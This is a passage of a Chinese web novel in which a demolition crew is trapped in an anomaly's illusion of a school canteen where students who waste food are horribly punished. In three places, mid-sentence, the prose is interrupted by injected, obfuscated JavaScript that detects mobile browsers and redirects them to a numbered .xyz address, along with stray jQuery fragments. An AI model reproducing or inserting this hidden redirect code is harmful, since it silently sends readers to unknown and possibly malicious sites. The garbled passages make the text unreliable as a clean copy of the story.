“你就是姒姽？” 黄铜色的皮肤、黑色的齐肩卷发、大约一米九的身高，高大得如同一堵人墙……就算在异管局，姒姽也很少见到如此健硕的人。 “是的，你是？” “哈哈哈，我是乔木，小雪绒应该提过我吧！ 哎呀，真好啊，这肌肉练得不错，等任务结束了我请你去喝蛋白粉。 对了对了，加好友，来，碰一个！” 极少和如此热情的人相处，姒姽有些手足无措，和乔木来了个热情拥抱后，两人就碰手环，加上好友。 “蜉蝣，你也来加一个，快过来啊，别站在角落里。 他这人就这样，闷闷的，等熟悉了就好了，别介意哈。” 被点名的蜉蝣从纸盒堆围出的角落中走出。 黑色的短发遮住眼睛，不知是为了耍帅还是为了防尘戴着的黑口罩，这是一个即使穿着亮眼的橘红色工服也很丧的男孩。 他的个子不高，比姒姽矮上一点，站在乔木身边，更是和个小手办一样。 “你好……” 蜉蝣走向姒姽，伸出手，将手环递过去。 他的手很白，白到显得有些病弱，很难想象这样的人怎么会被招来搬砖。 基建团是真的没人了吗…… 姒姽忍不住想，伸手与蜉蝣的手环相碰，成功加上好友。 【编号：B809 昵称：蜉蝣 ……】 瞟到蜉蝣的个人信息，姒姽有些惊讶。 B级？ 她抬起头，重新审视这个其貌不扬的阴暗小男孩。 目前基建团的人都是C级，这是居住在普民区的人的普遍等级。而B级则是一个很微妙的等级，处于精英区和普民区之间的灰色地带，往往是“很强的无异能者”和“很弱的有异能者”。 资料显示，他没有异能，所以，他属于前者。 “好了，任务信息都收到了吧？咱们该出发了，早点开工，早点下班！” 乔木换好防护服，背上工作包，朝姒姽和乔木两人说道。 “姒姽，这次任务就委屈你和他俩一起去了。 老李这几天被异管局的人叫过去喝茶了，一时半会儿还回不来。 我嘛，还在修养期，就不一起去了。你们这些年轻人加油哈！” 原来如此，姒姽顿悟道，前几天她还在疑惑，自己这个无异能普民徒手解决异端，竟然没有异管局的人找她谈话，这可不像他们的作风。 原来所有的风雨都被李德安独自承担了，感恩李叔！ “什么叫委屈啊！至少遇到异端，我可不会躲在后面。” 乔木不满道，抬手展示自己手臂的肌肉，显示出满满的安全感。 “呸呸呸，你当异端是啥好东西啊，可别再碰见了。 快去工作吧，这次任务量可不小咧，快去快回。” 姒姽换上防护服后，连任务表都没打开看，就提上工具包，和乔木、蜉蝣一同，被李德安“赶出”办公室。 坐上基建团专车后，姒姽才有空打开手环上的新邮件，浏览这次的任务表。 【地点：C区125路62栋(原普民区第二中学校区) 异端状态：已清除 现场消杀清理工作：已完成 异化因子指数：安全状态(0-20%) 建筑物损毁状态：中级三等 工作内容：清理现场建筑垃圾，按照建筑图纸完成建筑物初步修整工作 工作时长：一周 奖励积分：5000积分】 “我之前就想问，为什么异化指数和污染程度都在安全范围内，我们还要穿防护服呢？” “如果不在安全范围内，我们这些没有异能的普民又怎么能去异端破坏过的现场，又是搬砖、又是砌墙的呢？” 乔木说完后，露出一个神秘的微笑。姒姽立刻读懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904881|176815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的幽默，也跟着无奈笑笑。 连人工智能都因为磁场波动无法进入的位置，能干净到哪里去呢？ 姒姽这才明白基建团这种积分高、待遇好，还时不时就有假休的工作怎么会缺人，原来在这儿等着呢。 姒姽默默检查自己防护服是否穿着完善，此刻，她深深体会到什么是上了贼船的荒谬感。 “哈哈，你也不用这么担心，防护服只是以防万一的装备，实际上我们的施工场地都是经过消杀检测，就算有污染也大不到哪儿去。 而且，基建团选人都是有要求的，像我们这种被选上的，扛污染能力都很强，就算遇到异端都死不了，更何况是异端残留的区区污染呢！ 对吧？” 在乔木炽热的目光下，作为基建团唯一一个打败过异端的人，姒姽最终还是点点头，回应她的期待。 一路上，乔木都在向姒姽讯问她在大楼内消灭异端的细节。蜉蝣则独自坐在车辆的后排座位，安静地捣鼓手中的仪器，存在感几乎为零。 终于，任务地点到了，姒姽下车，面前是一栋几乎看不出原本面貌的建筑物。半圆形的屋顶被炸的只剩边缘有些残骸，四面墙也被毁的只剩三面。通过附近残存下来的指示牌，姒姽辨认出，这是一间中学食堂。 “上次因为意外，老李和老赵应该还没来得及让你体验咱们的工作，这次我来教你，跟着我干就是了，哈哈哈。” 乔木发出爽朗的笑声，跳下车，招呼着姒姽往前走。 “首先，我们先把这些东西安装在建筑物上，每相隔一百米安装一个就行。” “这是什么啊？” 姒姽掂量一下手中暗红色的不明物体，沉甸甸的，很有分量。 “炸药包。” “哈？” 乔木说得轻飘飘的，见姒姽惊讶的表情，露出一个得逞的微笑。 “这次的任务原本是简单修复就行，但委托人那边说都毁成这样了，干脆重建算了。所以，咱们要先把楼炸了，然后再建。” 解释完后，乔木就抓着炸药包，往墙上绑。姒姽也学着她的样子，将炸药安装完后，和乔木一起离开这栋建筑物。 “可以了？” 离开建筑物后，姒姽与乔木来到一片空地处，蜉蝣正在操作某个手柄样的设备，头也不抬地问道。 “可以了。” 乔木话音刚落，巨大的爆炸声从废弃食堂处传来，在巨大的爆炸声中，乔木凑到姒姽耳边，轻声说道： “这些都是蜉蝣一个人研发出来的，厉害吧！” 爆炸结束后，工作才正式开始。姒姽学着乔木，将建筑物碎片放入同样是蜉蝣研发的机器中，破损的水泥被扔进去，片刻后，整齐的砖块就从出口处出来。 就这样忙碌到接近下午，几人决定先去吃饭，休息一会儿后再继续工作。 “好了，咱们快去吃饭吧。我饿到都闻到饭香了，哈哈哈。” 乔木拍拍手上的灰，豪迈的笑道。 “我也是。” “我也闻到了。” 三人面面相觑，很显然这个“闻到饭香”不是形容词，在这个被炸到只剩地基的食堂内，一股诡异的饭香在空气中弥漫。 “你说，我们仨儿都被饿出幻觉的可能性有多高？” 乔木咽咽口水，未等姒姽接话，一直蹲坐在地上操作机器的蜉蝣突然起身，冷冷道： “为零。” 12. 第十二章超美味的高中食堂2^^…… 煮熟的米饭香在空气中蒸腾，浓烈到穿透防护服，萦绕在三人鼻尖。 香甜的气息在残破的废墟中无法给人带来慰藉，乔木抄起地上的一根长钢筋，警惕地环顾四周。 “出不去。” 蜉蝣走到废墟边缘，面前没有任何遮挡物，但伸手向前试探，便会摸到一堵透明的墙。 三人没有多说，默契的分工寻找出口。但在这块几乎被炸平的废墟中，几人摸索一圈，也没找到能出去的位置。 “不行了，呕，我有点恶心。” 乔木扶着透明墙壁，忍不住干呕道。 空气中的米饭香伴随着时间的推移，逐渐发酵、变质……紧接着是土豆的土腥气、鸡肉的腥膻味儿、蔬菜腐烂发臭的恶臭。 堪称精神污染的气味熏的乔木忍不住吐槽：“不是，饭菜味儿怎么能这么恶心？” 同样深受其害的姒姽和蜉蝣扶墙、点头，表示赞同。 逃离不了废墟，也找不到气味产生的源头。就在三人濒临精神崩溃的时候，姒姽的手环突然响起消息提示音。 又是陨石边牧！ 姒姽打开聊天界面，这一次，智只留下一句话，头像就再度熄灭，陷入离线状态。 【不要吃饭菜，可以吃零食。扮演好角色，找到举报者】 又是举报者？ 浏览完这一段没头没尾的信息，姒姽无语地看着手环自动熄灭，陷入离线状态。 心存的最后一点侥幸被磨灭，姒姽无奈地对一脸茫然的乔木和面色苍白的蜉蝣说道： “准备一下，我们马上要进入异端的领域。 记住，不要吃任何的饭菜……” 姒姽的话还没说完，一阵白光出现，三人眼前一白，失去意识。 意识回归后，姒姽第一时间望向四周，找寻同伴。 好在，三人没有被分开，乔木与蜉蝣分别在姒姽的一前一后。 “这是哪啊？” 乔木望着四周黑压压的陌生面孔，小声惊叹。 此刻约有足球场大的长方形建筑物内，密密麻麻的人流井然有序的排成六条队列，似乎在等待什么。 “应该是食堂。” 姒姽环顾四周，绿色半圆形玻璃顶、铁皮桌椅、等待开放的窗口……这里是被异端破坏前的食堂。 他们所处的队伍是中间一条，且靠近窗口。 身边是穿着统一制服的学生，大约十来岁的年龄，看上去青涩而稚嫩。 好在，虽然外貌陌生，但这些孩子都是正常的人类长相。不用像大楼那次一样忍受视觉冲击污染，姒姽松口气。 “咱们的打扮会不会太显眼了啊？” 乔木弯弯腰，对姒姽轻声问道。 身穿橘红色防护服，且身高约一米九的她，站在这些穿着黑白色制服的学生里面，如同误入兔群的棕熊。 “没事，这些场景都是污染物模拟出来的。无论是人物还是这些桌椅，都是虚假的。 只要我们扮演好和他们一样的“学生”角色，就会被判定为同类。 但如果做出“不符合场景”的行为，被判定为外来者后，这些小孩儿可就不会这么乖乖的了。” 姒姽随手指了指身旁的一个学生，是个扎着马尾辫，看起来文静乖巧的女孩。但仔细看她一张一合的嘴巴，会发现她的牙齿如鲨鱼般呈锋利的倒三角型，又细又长的蛇头像蛇一样，隐隐往外伸。 女孩感受到视线，朝着姒姽和乔木的方向恶恨恨瞪一眼，吓得乔木赶忙转移视线。 直到现在，乔木她才确定，自己不是饿出幻觉，也不是今早吃的蘑菇汤里蘑菇没煮熟，而是真的碰上异端了！ “我们现在该怎么做？” 快速调整好心态后，乔木把希望寄托在三人中唯一和异端打过交道的姒姽身上。 “扮演好角色，见机行事。” 姒姽回答道。至于找到举报者这一点，她决定等收集到一些线索再说。 智的身份她隐约有些猜测，而无论是哪种猜测，都不是能随便和其他人说的存在。所以，姒姽暂时隐藏会引起怀疑的信息，只将眼下最迫切需要的提示告诉另外两人。 乔木和蜉蝣也不是傻人，很默契的没有再过多询问，默默记下姒姽的提醒后，站在队伍内，扮演好“等待吃饭的学生”这一角色。 【叮咚……午餐时间到，请同学们有序排队，不要打闹，光盘行动。 注意，粮食资源来之不易，请同学们不要剩饭剩菜，不要剩饭剩菜，不要剩饭剩菜！】 食堂内响亮的广播声响起，前半段的播报是带有甜美女声的机械音，而到第二遍“不要剩饭剩菜”时，播报声突然转为中年女人的警告，让乔木和蜉蝣想起自己读书时的教导主任。 在播到第三遍“不要剩饭剩菜”时，声音再次陡然一变，这次不再是警告，而是如同怒吼般的咆哮，就连食堂内的铁皮桌都被声浪震地抖三抖。 播报结束，声音戛然而止，姒姽感觉自己耳朵轻微耳鸣，可能是精神污染。 未等三人缓过神来，原本静止的队伍突然开始移动，几人只好跟随人群往前走。 越往前走，难以忍受的恶臭味就越明显，原本因为这些恶毒气味而麻木的嗅觉突然变得灵敏。 “这些……真的是饭菜吗？” 快要走到窗口前，三人中离窗口最近的乔木忍不住转头，指指窗口内黑乎乎甚至还在冒泡的不明物体，朝姒姽吐槽道。 “嗯……很难不是了。” 乔木顿时明白姒姽先前“不要吃任何的饭菜”的提醒，这种饭菜吃了后很难不被同化成异端吧。 队伍移动的速度很快，乔木举起颤抖着的手，试探性道： “阿姨，少来点儿……” 窗口内，身穿白色制服的打饭阿姨冷哼一声： “胖成这样，是得少吃点。” 啊？ 被莫名人身攻击的乔木感到很懵，但看着阿姨递过来的餐盘内少得可怜的黑色不明物，第一次觉得阿姨抖成帕金森的手是如此美丽。 乔木将餐盘端走后，姒姽也和她一样，收获阿姨的一个白眼和少少的“饭菜”，心满意足的离开。 三人中最不幸的是蜉蝣，在阿姨：“你一个小男孩，这么瘦，还吃这么少，怎么行呢？”的关切问候下，他端着满到不明物质快溢出的餐盘，阴郁地离开队伍。 “噗嗤，不是，你的怎么这么多啊？ 哈哈哈，早跟你说多吃一点，多锻炼身体，这样才能长得壮。 现在好了吧，阿姨都看不下去，给你打的量比我和姒姽加起来还多。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904882|176815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔木看着蜉蝣和餐盘中饭菜一样阴暗的表情，不厚道的打趣道。 “我们现在该干什么？” 蜉蝣装作没听见乔木的嘲讽，稳稳端好餐盘，将目光转向姒姽，问道。 “先找位置坐下，看看状况。” 午餐时间的食堂很难找到空位，转了一圈，三人终于在一个角落找到空余的四人位。 “嘶……这黑色的不明物质肯定是不能吃的，直接去那边倒掉吗？” 乔木坐下后，被铁皮板凳冰得倒吸一口凉气，随后环顾四周，指着“餐具回收处”，问道。 食堂内，靠近他们座位的右边，有一个挂着【餐具回收处】指示牌的铁皮棚子，有点像移动餐车。 回收处的指示牌旁，有两个巨大的黑色垃圾桶，应该是用来倒学生没吃完的剩饭剩菜。 “先等等。” 姒姽指着一个穿黑白制服、留有寸头的男学生，开口道： “他手上端着餐盘，餐盘里没多少东西，应该是要还餐具。先看看他怎么做的。” 乔木和蜉蝣听完后，和姒姽一同，盯着那位男学生，仔细观察他的动作。 男学生走到餐具回收处前，正准备将餐具放在棚子下的铁皮板上。 “等会儿，同学，你的饭菜还没吃完！请吃完后再归还餐具！” 尖锐刺耳的声音陡然响起，姒姽这才发现铁皮棚下站着三个人，三人都身穿同样的黑白制服，两男一女，应该都是学生，唯一不同的是，他们的右手臂上挂着红色臂章，臂章上用黑字写着“值日生”。 “同学，我番茄过敏，实在是不能吃。 你看，米饭、土豆块、蘑菇炖鸡我全吃完了，就剩这一点番茄。 我打饭的时候跟阿姨说了我番茄过敏，她非说吃一点没事，给我加了半勺，但我实在是不能吃啊，你就通融一下吧！” 一米八的大小伙儿说得声泪俱下，姒姽默默看了眼自己餐盘内混做一团的黑色不明粘稠物，在心中忍不住吐槽。 原来这是米饭、番茄、土豆和蘑菇炖鸡啊…… 原本说话的那个男值日生愣了一下，眉头紧锁。姒姽与乔木几人专心观察他的反应，如果男同学的交涉可行的话，他们也可以模仿操作。 “警告一次，请立即吃完盘中剩菜！粮食资源来之不易，不要剩饭剩菜！” 女值日生发出警告，狭小的眼睛死死盯着端着餐盘的男学生，如同捕猎状态下的蛇。 “可是……” “警告第二次！” 另一个男值日生阴森森地说道，“最好别让我们警告第三次。” “别，别，我吃……现在就吃……呕……” 男同学端起餐盘，将最后那一点黑色黏着物吞入口中。 “怎么样，好吃吗？” 眼见着男同学满脸通红，一把鼻涕一把泪地吞咽食物，三个值日生恶趣味般的，一同问道。 “呕……好吃……呕……很好吃……” 红色的鳞片状斑点蔓延至男同学全身，在带着作呕声的回复中，他轰的一声倒地，餐盘从手中滑落，最后一点还未吃完的黑色粘稠物泼在地上，燃起一缕黑色的烟。 “第三次警告。” 值日生将那缕烟踩灭，看向男学生的眼神，如同看一滩死物。 13. 第十三章超美味的高中食堂3^^…… 身上爬满血红色鳞状斑瘫在地上，艰难的伸手，去抓值日生脚下踩着的“菜”，想要往嘴里送。 还未等他抓到那坨不明物质，那只伸出去的手被值日生中那位第一个与他对话的学生踩在脚下。 “咯咯咯……好吃吗？” “好吃……好吃……” “好吃为什么要浪费粮食？你是故意把食物倒在地上的吧！” “没……没有……没有故意……” 趴在地上的男学生泪流满面，他的身体剧烈膨胀、红肿，看上去像一个成熟的西红柿。 值日生忽视他的辩解，轻蔑地盯着他，如同看一滩垃圾。 “浪费食物的人都是垃圾，垃圾就应该呆在垃圾桶里。” 说着，看似文弱的值日生仅用一只手，就掐住快膨胀成一个球的男学生，将他提起，转身，扔到餐具回收处旁的黑色垃圾桶中。 被塞进垃圾桶的男学生如同泄气的皮球，一点点收缩、变小……最终变成一张褶皱的西红柿皮，安静地消失在漆黑的垃圾桶中。 “同学们，粮食来之不易，浪费食物的下场，就在这里。 请同学们光盘行动，不要剩饭剩菜！” 值日生的声音响彻食堂，伴随着他的警告，食堂内的喇叭再度响起。 “叮铃铃……” 欢快的音乐结束后，甜美的机械女声从广播中传来。 “同学们，粮食资源来之不易，让我们一起感恩基地，感恩学校，为我们带来美味的食物！” “感恩基地，感恩学校，为我们带来美味的食物……” 姒姽几人学着食堂内正在就餐的学生，双手合十，跟着广播的引导，高声喊出这句感恩语。 不过，感恩声中夹杂着的若有若无的“呕……”声足以证明，这些食物对原住民“同学”而言，也不算美味。 “靠，用美味来形容这坨东西？这些人的良心真的不会痛吗？” 乔木用勺子摆弄餐盘中这滩黑色粘稠物，银白色的勺子伸入，转眼就被腐蚀，挂着诡异的黑色胶质物。 “这玩意儿吃了后，会死的吧？” “不吃，也会死。” 蜉蝣接着乔木的话，说道，眼睛转向姒姽，盯着她。 这个人在进入污染物的幻境前就提醒大家：不要吃任何的饭菜。她知道这个幻境的构造？不，没有人能提前知道异端构造的幻象，应该是，她有属于自己的获取线索的独特渠道。 被阴郁的蜉蝣阴森森地盯着，姒姽感觉身上有点发毛。 “确实，在没有正当理由的情况下，不吃，也会死。” 姒姽指了指不知什么时候开始守在食堂门口的学生，他们的手臂上挂着鲜红的臂章，是值日生。 “那理由还不正当啊？” 乔木指了指餐具回收处旁的垃圾桶，那位男学生给他们提供了一个错误示范。 “过敏分很多种，轻度、中度、重度，在没有吃下过敏性食物前，值日生无法判断他的过敏程度是否到达：无法吃这种食物的地步。 而且，也无法判断，他说的话里，是真话，还是假话？” 姒姽解释道，顺便还补充一句： “如果他携带医院开具的诊断书，再加上学校开具的知情同意书，那些值日生或许会放过他。” 乔木和蜉蝣对视一眼，在心中默契地吐槽。 幻境而已，要不要这么还原啊！ 这异端不会真上过学吧？ “再不吃东西，就算值日生不找我们麻烦，逐渐增强的饥饿感也会让我丧失行动能力。” 姒姽捂着自己腹部，在进入幻境前她不算很饿，但是，自从被拖入异端的捕猎领域后，饥饿感就越来越明显，已经到了难以忽视的地步。 饥饿感带来的胃痛，以及无法控制的来自本能的进食欲望，这些都是来自异端的污染。 “如果，有什么零食可以吃，就好了……” 姒姽掩饰心中的心虚，转移视线，若无其事的开口道。 “我这有零食！等我找一找。咦……奇怪了，我记得我带了啊？等会儿……” 乔木翻找口袋，自从听说姒姽的巧克力蛋白棒立大功后，她也开始每天放几根蛋白棒在工服里，以备不时之需。 现在正是她的巧克力、草莓、香蕉味蛋白棒即将派上用场的时刻，但她将口袋翻了个底朝天，也没看到蛋白棒的影子。 真是奇了怪了，蛋白棒还能长腿自己跑了？ “不用找了，应该是被没收了。” 在被拉入幻象中后，姒姽第一时间就去摸口袋里刚买的焦糖玛奇朵蛋白棒，然而，装有蛋白棒的口袋空荡荡，很显然，这个异端不允许自己的猎物自带食物。 “啊，以前上学的时候被指导员搜零食，怎么现在还要被异端收零食啊！” 乔木也意识到零食不翼而飞的原因，饿到趴在铁皮桌上，无奈抱怨道。 不允许自带零食，食堂内也没有贩卖零食的窗口，那零食从哪里来呢？ 姒姽陷入沉思，突然，她的衣角被人轻轻拉动。顺着拉动的方向看去，蜉蝣盯着她，没有说话，只是用手指向食堂最右侧的一个窗口。 现在已经过了打饭时间，装有食物的饭菜桶消失不见，大概率是被送入后厨进行清理。 一个身穿制服的学生将餐盘放在打饭窗口前的台子上，用手敲敲窗口上的玻璃隔板。 餐盘中的饭菜还剩很多，黑乎乎的粘液中混杂着不明焦质物，里面似乎有东西在蠕动，咕噜咕噜冒着泡。 敲击玻璃板三下后，身穿白色工作服的打饭阿姨从后厨走来，走到玻璃隔板前。 “同学，有什么事吗？” 尖锐的倒三角形牙齿上泛着黄渍，扁平的舌头又细又长，说话时直往外冒，几乎要舔到面前的玻璃隔板。 非打饭时间的食堂阿姨脾气比打饭时更差，猩红的眼珠几乎要瞪出来，双手将面前的铁皮打饭台拍得铮铮作响，感觉下一秒就会暴走，手撕小孩儿。 直到，那位同学指了指餐盘，阿姨似乎发现什么，表情变得舒缓，冒着热气的舌头收回嘴里，挤出一抹带有几分讨好意味的笑容。 “哎呀，你等会儿啊。” 说着，阿姨伸手从隔板上方接过学生递来的餐盘，转身离开。 片刻后，阿姨又走回来，脸上堆着笑，将一个圆形的、用彩色包装纸包着的东西递给那位学生。 学生接过那块手掌大的彩色圆饼，转身离开，走出食堂。 期间，没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906623|176815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有值日生拦住他盘查，也没有什么不可名状的事物对他进行攻击，他就这样大摇大摆的离开食堂，并且，没有受到任何惩罚。 “为什么他没吃完饭，却还能安全离开？ 难道吃不完的饭，给阿姨就可以了吗？” 姒姽自言自语般的推断着，话刚说出口，她立即否定自己的这个猜想。 “不对，这不符合常理。食堂阿姨由学校聘请，是学校规则的忠实维护者，没有道理帮助学生。 而且，她给那个学生的东西也很可疑，是什么呢？” “是零食！” 乔木和蜉蝣两人异口同声道。姒姽一愣，看着身旁两人脸上兴奋的表情，懵懵地问道： “你们怎么知道的？” “你不知道啊？” 蜉蝣与乔木交换个眼神后，乔木开口道： “还以为基地的学校都这样呢，哈哈。 其实啊，学校食堂内有一条极少数人知道的潜规则，如果在饭菜里吃出异物，比如蟑螂啊、苍蝇啊、塑料片、钢丝绳之类的，可以找食堂的负责人员换零食大礼包当封口费。 你也知道，学校食堂为了节约运营成本，环境干净不到哪里去，吃出异物是常有的事儿，向基地举报也没啥用，还不如拿来换点零食吃。 而且，我和蜉蝣以前的学校饭菜不仅做的超级难吃，分量还少得可怜，根本吃不饱。 所以啊，我们有时候就会去弄点小异物，来换点零食吃，嘿嘿。” 乔木发出反叛的笑容，脸上毫无愧疚之情，只有对重拾老本行的兴奋。 还可以这样！ 姒姽回忆起她培训的时光，精英区的孩子很少有学校的概念，六到七岁异能分化完成后，就会开展一对一式的异能激发训练。 大概十几岁，异能掌控成熟后，这些孩子会根据异能等级分组进行与异端的实战训练，也就是所谓的青年培训，那是他们为数不多的、勉强可以称为“学校”的集体学习时光。 姒姽回想那段时期的伙食，貌似都是些营养液和复合食物，不算好吃也不算难吃，卫生状况更是不可能有问题。 所以，乔木所说的那些经历，在精英区生活的她，连听都没听过。 “我们现在该怎么做？” 这次的幻境中，熟悉校园生活的乔木比她更有优势。姒姽看向乔木，等待她的回答。 “抓蟑螂！” 嗯？ 这是一个恶毒的计划，至少姒姽是这样觉得的。 据乔木所说，食堂后厨附近和垃圾箱旁会有不少蟑螂、苍蝇、蛆虫等生物。如果是现实状况下，拔两根头发放饭里搅和一下，就能忽悠到小零食。 但是，这里是异端创造的副本，无论是学生还是食堂阿姨本质上都是污染物创生出的衍生物，头发丝、铁丝线之类的有极大概率入不了他们的眼。 要做就做绝一点，相信即使是异端，也不会认为蟑螂是能够出现在饭菜里的“合理”存在。 “你们俩先在这里守位置，我去去就来。” 乔木猫着腰，回头看着姒姽，笑了笑，一笑露出两个小酒窝。 她指指取餐处后方的后厨，朝姒姽和蜉蝣比个大拇指，飞速逃离座位，像个敏捷的丛林猎手，捕猎去了。